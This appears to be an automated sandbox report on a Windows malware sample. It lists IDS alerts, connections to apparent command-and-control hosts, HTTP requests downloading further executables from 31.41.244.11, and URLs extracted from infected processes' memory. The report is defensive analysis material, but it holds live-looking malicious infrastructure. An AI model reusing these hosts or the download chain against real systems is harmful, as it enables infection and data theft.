Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49882 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49890 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49914 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49954 -> 172.67.129.27:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49982 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49989 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49977 -> 172.67.129.27:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49984 -> 172.67.129.27:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49997 -> 172.67.129.27:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49965 -> 172.67.129.27:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49999 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50011 -> 172.67.129.27:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50022 -> 172.67.129.27:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50012 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50067 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50021 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50074 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50049 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49945 -> 172.67.129.27:443

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.244.212.106
Source: unknown	TCP traffic detected without corresponding DNS query: 185.244.212.106
Source: unknown	TCP traffic detected without corresponding DNS query: 185.244.212.106
Source: unknown	TCP traffic detected without corresponding DNS query: 185.244.212.106

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E1E0C0 recv,recv,recv,recv,

0_2_00E1E0C0

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /files/6521298510/DxfmGsU.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /WEIsmPfDcpBFJozngnYN1734366322?argument=OQJa3re7Kxkn4awF1734469598 HTTP/1.1Host: home.twentytk20pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/unique3/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/dodo/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11If-Modified-Since: Tue, 17 Dec 2024 09:45:14 GMTIf-None-Match: "6761482a-bda80"
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11If-Modified-Since: Tue, 17 Dec 2024 20:47:27 GMTIf-None-Match: "6761e35f-43ac00"
Source: global traffic	HTTP traffic detected: GET /WEIsmPfDcpBFJozngnYN1734366322?argument=seSgarhdYmVWAeOG1734469812 HTTP/1.1Host: home.twentytk20pn.topAccept: /

Source: global traffic	DNS traffic detected: DNS query: pancakedipyps.click
Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: home.twentytk20pn.top
Source: global traffic	DNS traffic detected: DNS query: twentytk20pn.top
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: sweepyribs.lat

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: pancakedipyps.click

Source: 93b1627660.exe, 0000000B.00000003.2604862521.00000000071FF000.00000004.00001000.00020000.00000000.sdmp, 5d99420dfa.exe, 0000000C.00000003.2726273308.0000000007805000.00000004.00001000.00020000.00000000.sdmp, 5d99420dfa.exe, 0000000C.00000002.2768047832.0000000000D46000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://.css
Source: 93b1627660.exe, 0000000B.00000003.2604862521.00000000071FF000.00000004.00001000.00020000.00000000.sdmp, 5d99420dfa.exe, 0000000C.00000003.2726273308.0000000007805000.00000004.00001000.00020000.00000000.sdmp, 5d99420dfa.exe, 0000000C.00000002.2768047832.0000000000D46000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://.jpg
Source: DxfmGsU.exe, 00000006.00000003.2423838258.0000000009969000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2652639198.00000000032D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: DxfmGsU.exe, 00000006.00000003.2423838258.0000000009969000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2652639198.00000000032D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: 475e05f959.exe, 00000007.00000002.2494845848.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: DxfmGsU.exe, 00000006.00000003.2423838258.0000000009969000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2652639198.00000000032D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 475e05f959.exe, 00000007.00000002.2494845848.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: 475e05f959.exe, 00000007.00000002.2494845848.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: skotes.exe, 00000005.00000003.2829426997.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 00000007.00000002.2494845848.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: skotes.exe, 00000005.00000003.2829426997.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 00000007.00000002.2494845848.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: DxfmGsU.exe, 00000006.00000003.2423838258.0000000009969000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2652639198.00000000032D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: DxfmGsU.exe, 00000006.00000003.2423838258.0000000009969000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2652639198.00000000032D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: DxfmGsU.exe, 00000006.00000003.2423838258.0000000009969000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2652639198.00000000032D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: DxfmGsU.exe, 00000006.00000003.2423838258.0000000009969000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2652639198.00000000032D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 475e05f959.exe, 00000007.00000002.2494845848.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: 475e05f959.exe, 00000007.00000002.2494845848.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: skotes.exe, 00000005.00000003.2829426997.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 00000007.00000002.2494845848.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: skotes.exe, 00000005.00000003.2829426997.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 00000007.00000002.2494845848.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: 5d99420dfa.exe, 0000000C.00000002.2768047832.0000000000D46000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://home.fivetk5pn.top/vJNDHPUXPCEIZZjTPbLp17
Source: 5d99420dfa.exe, 0000000C.00000002.2768047832.0000000000D46000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://home.fivetk5pn.top/vJNDHPUXPCEIZZjTPbLp1734325090
Source: 5d99420dfa.exe, 0000000C.00000002.2768047832.0000000000D46000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://home.fivetk5pn.top/vJNDHPUXPCEIZZjTPbLp1734325090http://home.fivetk5pn.top/vJNDHPUXPCEIZZjTPb
Source: 93b1627660.exe, 0000000B.00000003.2604862521.00000000071FF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnY322
Source: 93b1627660.exe, 0000000B.00000003.2604862521.00000000071FF000.00000004.00001000.00020000.00000000.sdmp, 5d99420dfa.exe, 0000000C.00000003.2726273308.0000000007805000.00000004.00001000.00020000.00000000.sdmp, 5d99420dfa.exe, 0000000C.00000002.2768047832.0000000000D46000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: 475e05f959.exe, 00000007.00000002.2494845848.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: DxfmGsU.exe, 00000006.00000003.2423838258.0000000009969000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2652639198.00000000032D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: DxfmGsU.exe, 00000006.00000003.2423838258.0000000009969000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2652639198.00000000032D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: skotes.exe, 00000005.00000003.2829426997.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 00000007.00000002.2494845848.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: 791c6803ad.exe, 0000000D.00000000.2830250091.0000000000423000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://usbtor.ru/viewtopic.php?t=798)Z
Source: DxfmGsU.exe, 00000006.00000003.2423838258.0000000009969000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2652639198.00000000032D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: DxfmGsU.exe, 00000006.00000003.2423838258.0000000009969000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2652639198.00000000032D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: svchost.exe, 00000025.00000002.2976569728.0000000002D6C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxe
Source: svchost.exe, 00000025.00000002.2976569728.0000000002D6C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxex
Source: DxfmGsU.exe, 00000006.00000002.2430527986.0000000009224000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2563002193.00000000032D9000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2562738790.00000000032DC000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2563187084.00000000032D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 475e05f959.exe, 0000000A.00000003.2655126834.0000000000C27000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2654895051.0000000000C26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: 475e05f959.exe, 0000000A.00000003.2702477506.0000000000C26000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2654895051.0000000000C26000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2702792369.0000000000C26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: DxfmGsU.exe, 00000006.00000002.2430527986.0000000009224000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2563002193.00000000032D9000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2562738790.00000000032DC000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2563187084.00000000032D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: DxfmGsU.exe, 00000006.00000002.2430527986.0000000009224000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2563002193.00000000032D9000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2562738790.00000000032DC000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2563187084.00000000032D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: DxfmGsU.exe, 00000006.00000002.2430527986.0000000009224000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2563002193.00000000032D9000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2562738790.00000000032DC000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2563187084.00000000032D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 475e05f959.exe, 0000000A.00000003.2655126834.0000000000C27000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2654895051.0000000000C26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: 475e05f959.exe, 0000000A.00000003.2655126834.0000000000C27000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2654895051.0000000000C26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 5d99420dfa.exe, 0000000C.00000002.2768047832.0000000000D46000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: 5d99420dfa.exe, 0000000C.00000002.2768047832.0000000000D46000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: 93b1627660.exe, 0000000B.00000003.2604862521.00000000071FF000.00000004.00001000.00020000.00000000.sdmp, 5d99420dfa.exe, 0000000C.00000003.2726273308.0000000007805000.00000004.00001000.00020000.00000000.sdmp, 5d99420dfa.exe, 0000000C.00000002.2768047832.0000000000D46000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: DxfmGsU.exe, 00000006.00000002.2430527986.0000000009224000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2563002193.00000000032D9000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2562738790.00000000032DC000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2563187084.00000000032D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 475e05f959.exe, 0000000A.00000003.2563002193.00000000032D9000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2562738790.00000000032DC000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2563187084.00000000032D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: DxfmGsU.exe, 00000006.00000002.2430527986.0000000009224000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2563002193.00000000032D9000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2562738790.00000000032DC000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2563187084.00000000032D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 93b1627660.exe, 0000000B.00000003.2604862521.00000000071FF000.00000004.00001000.00020000.00000000.sdmp, 5d99420dfa.exe, 0000000C.00000003.2726273308.0000000007805000.00000004.00001000.00020000.00000000.sdmp, 5d99420dfa.exe, 0000000C.00000002.2768047832.0000000000D46000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://httpbin.org/ip
Source: 93b1627660.exe, 0000000B.00000003.2604862521.00000000071FF000.00000004.00001000.00020000.00000000.sdmp, 5d99420dfa.exe, 0000000C.00000003.2726273308.0000000007805000.00000004.00001000.00020000.00000000.sdmp, 5d99420dfa.exe, 0000000C.00000002.2768047832.0000000000D46000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://httpbin.org/ipbefore
Source: 475e05f959.exe, 0000000A.00000003.2654895051.0000000000C26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: 475e05f959.exe, 0000000A.00000002.2862984885.0000000000B8F000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2557162632.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2763425630.0000000000BEE000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2759571062.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2759304884.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2728397729.0000000000BA6000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000002.2863227814.0000000000BF1000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2824830489.0000000000BA6000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2557162632.0000000000BA6000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2759304884.0000000000BA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/
Source: 475e05f959.exe, 0000000A.00000003.2613806315.000000000329B000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2614027347.000000000329E000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2613666018.000000000329A000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2613523742.0000000003296000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/:false
Source: 475e05f959.exe, 0000000A.00000002.2863227814.0000000000C03000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2557162632.0000000000BA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/api
Source: 475e05f959.exe, 0000000A.00000003.2824528280.0000000000C03000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2860925859.0000000000C03000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000002.2863227814.0000000000C03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/apiG
Source: 475e05f959.exe, 0000000A.00000003.2651268386.000000000329C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/apih
Source: 475e05f959.exe, 0000000A.00000003.2824743742.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/apix
Source: 475e05f959.exe, 0000000A.00000003.2824743742.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000002.2863227814.0000000000BF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/bu
Source: 475e05f959.exe, 0000000A.00000003.2824743742.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/bun
Source: 475e05f959.exe, 0000000A.00000003.2728718159.0000000000BD3000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2730042987.0000000000BD3000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000002.2863227814.0000000000BF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/pi
Source: 475e05f959.exe, 475e05f959.exe, 0000000A.00000003.2860769212.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000002.2862984885.0000000000B8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click:443/api
Source: skotes.exe, 00000005.00000003.2829426997.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, 475e05f959.exe, 00000007.00000002.2494845848.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: 475e05f959.exe, 0000000A.00000003.2564849481.0000000003335000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: 475e05f959.exe, 0000000A.00000003.2654341542.00000000034F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 475e05f959.exe, 0000000A.00000003.2654341542.00000000034F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 475e05f959.exe, 0000000A.00000003.2564849481.0000000003333000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2565006205.00000000032E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 475e05f959.exe, 0000000A.00000003.2565006205.00000000032C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: 475e05f959.exe, 0000000A.00000003.2564849481.0000000003333000.00000004.00000800.00020000.00000000.sdmp, 475e05f959.exe, 0000000A.00000003.2565006205.00000000032E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 475e05f959.exe, 0000000A.00000003.2565006205.00000000032C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
